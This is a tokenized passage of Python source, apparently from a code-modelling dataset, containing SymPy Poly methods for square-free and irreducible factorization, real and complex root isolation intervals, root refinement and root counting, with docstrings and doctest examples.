"**", "4", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", "\\", "10", ";", " ", " ", " ", " ", "2", "*", "x", "**", "7", " ", "+", " ", "6", "*", "x", "**", "6", " ", "+", " ", "6", "*", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "4", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "sq", "f", "\\u", "list", "\\u", "include", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "Poly", "(", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "3", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "4", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "sq", "f", "\\u", "list", "\\u", "include", "(", "all", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "[(", "Poly", "(", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "2", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "3", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "4", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sq", "f", "\\u", "list", "\\u", "include", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "factors_", "=_", "f_", "._", "rep_", "._", "sq", "f", "\\u", "list", "\\u", "include_", "(_", "all_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sq", "f", "\\u", "list", "\\u", "include", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "(_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "k_", ")_", "for_", "g_", ",_", "k_", "in_", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "factor", "\\u", "list_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "irre", "duci", "ble", " ", "factor", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "2", "*", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "4", "*", "y", " ", "+", " ", "4", "*", "x", "**", "3", " ", "+", " ", "4", "*", "x", "**", "2", "*", "y", " ", "+", " ", "2", "*", "x", " ", "+", " ", "2", "*", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "factor", "\\u", "list", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ",", " ", "[(", "Poly", "(", "x", " ", "+", " ", "y", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "2", ")])", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "factor", "\\u", "list", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeff_", ",_", "factors_", "=_", "f_", "._", "rep_", "._", "factor", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Doma", "in", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "S_", "._", "One_", ",_", "[_", "(_", "f_", ",_", "1_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "factor", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "coeff_", ")_", ",_", "[_", "(_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "k_", ")_", "for_", "g_", ",_", "k_", "in_", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "factor", "\\u", "list", "\\u", "include_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "irre", "duci", "ble", " ", "factor", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "2", "*", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "4", "*", "y", " ", "+", " ", "4", "*", "x", "**", "3", " ", "+", " ", "4", "*", "x", "**", "2", "*", "y", " ", "+", " ", "2", "*", "x", " ", "+", " ", "2", "*", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "f", ").", "factor", "\\u", "list", "\\u", "include", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", "*", "y", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "1", "),", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "2", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "factor", "\\u", "list", "\\u", "include", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "factors_", "=_", "f_", "._", "rep_", "._", "factor", "\\u", "list", "\\u", "include_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Doma", "in", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "(_", "f_", ",_", "1_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "factor", "\\u", "list", "\\u", "include", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "(_", "f_", "._", "per_", "(_", "g_", ")_", ",_", "k_", ")_", "for_", "g_", ",_", "k_", "in_", "factors_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "intervals_", "(_", "f_", ",_", "all_", "=_", "False_", ",_", "eps_", "=_", "None_", ",_", "inf_", "=_", "None_", ",_", "sup_", "=_", "None_", ",_", "fast_", "=_", "False_", ",_", "sq", "f_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "iso", "latin", "g", " ", "interval", "s", " ", "for", " ", "root", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "real", " ", "root", "s", " ", "the", " ", "Vin", "cent", "-", "Ak", "rit", "as", "-", "Str", "zeb", "ons", "ki", " ", "(", "VA", "S", ")", " ", "continue", "d", " ", "fract", "ion", "s", " ", "method", " ", "is", " ", "used", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reference", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "=========", "==", "\\", "10", ";", " ", " ", " ", "1", ".", " ", "Al", "ki", "via", "dis", " ", "G", ".", " ", "Ak", "rit", "as", " ", "and", " ", "Adam", " ", "W", ".", " ", "Str", "zeb", "ons", "ki", ":", " ", "A", " ", "Compara", "tiv", "e", " ", "Stud", "y", " ", "of", " ", "Tw", "o", " ", "Real", " ", "Roo", "t", "\\", "10", ";", " ", " ", " ", "Isolat", "ion", " ", "Meth", "ods", " ", ".", " ", "Non", "linear", " ", "Analy", "sis", ":", " ", "Model", "ling", " ", "and", " ", "Control", ",", " ", "Vol", ".", " ", "10", ",", " ", "No", ".", " ", "4", ",", " ", "297", "-", "304", ",", " ", "2005", ".", "\\", "10", ";", " ", " ", " ", "2", ".", " ", "Al", "ki", "via", "dis", " ", "G", ".", " ", "Ak", "rit", "as", ",", " ", "Adam", " ", "W", ".", " ", "Str", "zeb", "ons", "ki", " ", "and", " ", "Pan", "agi", "oti", "s", " ", "S", ".", " ", "Vi", "gk", "las", ":", " ", "Impro", "ving", " ", "the", "\\", "10", ";", " ", " ", " ", "Perform", "anc", "e", " ", "of", " ", "the", " ", "Continu", "ed", " ", "Frac", "tion", "s", " ", "Meth", "od", " ", "Us", "ing", " ", "new", " ", "Bound", "s", " ", "of", " ", "Posi", "tiv", "e", " ", "Roo", "ts", ".", " ", "Non", "linear", "\\", "10", ";", " ", " ", " ", "Analy", "sis", ":", " ", "Model", "ling", " ", "and", " ", "Control", ",", " ", "Vol", ".", " ", "13", ",", " ", "No", ".", " ", "3", ",", " ", "265", "-", "279", ",", " ", "2008", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", ",", " ", "x", ").", "interval", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "(-", "2", ",", " ", "-1", "),", " ", "1", "),", " ", "((", "1", ",", " ", "2", "),", " ", "1", ")]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", ",", " ", "x", ").", "interval", "s", "(", "eps", "=", "1e-", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "[(", "(-", "2", "6", "/", "15", ",", " ", "-1", "9", "/", "11", "),", " ", "1", "),", " ", "((", "1", "9", "/", "11", ",", " ", "2", "6", "/", "15", "),", " ", "1", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "eps_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eps_", "=_", "QQ", "_", "._", "convert_", "(_", "eps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "eps_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"'", "eps", "'", " ", "must", " ", "be", " ", "a", " ", "posit", "ive", " ", "rational", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "inf_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inf_", "=_", "QQ", "_", "._", "convert_", "(_", "inf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sup_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sup_", "=_", "QQ", "_", "._", "convert_", "(_", "sup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "interval", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "intervals_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "all_", "=_", "all_", ",_", "eps_", "=_", "eps_", ",_", "inf_", "=_", "inf_", ",_", "sup_", "=_", "sup_", ",_", "fast_", "=_", "fast_", ",_", "sq", "f_", "=_", "sq", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "interval", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sq", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "real_", "(_", "interval_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", ",_", "t_", "=_", "interval_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "s_", ")_", ",_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "t_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "all_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "map_", "(_", "\\u", "real_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "complex_", "(_", "rectangle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "u_", ",_", "v_", ")_", ",_", "(_", "s_", ",_", "t_", ")_", "=_", "rectangle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "u_", ")_", "+_", "I_", "*_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "v_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "s_", ")_", "+_", "I_", "*_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "t_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "real", "\\u", "part_", ",_", "complex", "\\u", "part_", "=_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "list_", "(_", "map_", "(_", "\\u", "real_", ",_", "real", "\\u", "part_", ")_", ")_", ",_", "list_", "(_", "map_", "(_", "\\u", "complex_", ",_", "complex", "\\u", "part_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "real_", "(_", "interval_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "s_", ",_", "t_", ")_", ",_", "k_", "=_", "interval_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "(_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "s_", ")_", ",_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "t_", ")_", ")_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "all_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "map_", "(_", "\\u", "real_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "complex_", "(_", "rectangle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "(_", "u_", ",_", "v_", ")_", ",_", "(_", "s_", ",_", "t_", ")_", ")_", ",_", "k_", "=_", "rectangle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "(_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "u_", ")_", "+_", "I_", "*_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "v_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "s_", ")_", "+_", "I_", "*_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "t_", ")_", ")_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "real", "\\u", "part_", ",_", "complex", "\\u", "part_", "=_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "list_", "(_", "map_", "(_", "\\u", "real_", ",_", "real", "\\u", "part_", ")_", ")_", ",_", "list_", "(_", "map_", "(_", "\\u", "complex_", ",_", "complex", "\\u", "part_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "refine", "\\u", "root_", "(_", "f_", ",_", "s_", ",_", "t_", ",_", "eps_", "=_", "None_", ",_", "steps_", "=_", "None_", ",_", "fast_", "=_", "False_", ",_", "check", "\\u", "sq", "f_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ref", "ine", " ", "an", " ", "iso", "latin", "g", " ", "interval", " ", "of", " ", "a", " ", "root", " ", "to", " ", "the", " ", "give", "n", " ", "preci", "sion", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", ",", " ", "x", ").", "refine", "\\u", "root", "(", "1", ",", " ", "2", ",", " ", "eps", "=", "1e-", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "1", "9", "/", "11", ",", " ", "2", "6", "/", "15", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "check", "\\u", "sq", "f_", "and_", "not_", "f_", "._", "is", "\\u", "sq", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\"", "only", " ", "square", "-", "free", " ", "polynomial", "s", " ", "support", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", ",_", "t_", "=_", "QQ", "_", "._", "convert_", "(_", "s_", ")_", ",_", "QQ", "_", "._", "convert_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "eps_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eps_", "=_", "QQ", "_", "._", "convert_", "(_", "eps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "eps_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"'", "eps", "'", " ", "must", " ", "be", " ", "a", " ", "posit", "ive", " ", "rational", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "steps_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "steps_", "=_", "int_", "(_", "steps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "eps_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "steps_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "refine", "\\u", "root", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "S_", ",_", "T_", "=_", "f_", "._", "rep_", "._", "refine", "\\u", "root_", "(_", "s_", ",_", "t_", ",_", "eps_", "=_", "eps_", ",_", "steps_", "=_", "steps_", ",_", "fast_", "=_", "fast_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "refine", "\\u", "root", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "S_", ")_", ",_", "QQ", "_", "._", "to", "\\u", "sympy_", "(_", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "count", "\\u", "roots_", "(_", "f_", ",_", "inf_", "=_", "None_", ",_", "sup_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "the", " ", "number", " ", "of", " ", "root", "s", " ", "of", " ", "``", "f", "``", " ", "in", " ", "``[", "inf", ",", " ", "sup", "]``", " ", "interval", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "I", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "4", ",", " ", "x", ").", "count", "\\u", "root", "s", "(-", "3", ",", " ", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "4", ",", " ", "x", ").", "count", "\\u", "root", "s", "(", "0", ",", " ", "1", " ", "+", " ", "3", "*", "I", ")", "\\", "10", ";", " ", " ", " ", " ", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inf", "\\u", "real_", ",_", "sup", "\\u", "real_", "=_", "True_", ",_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 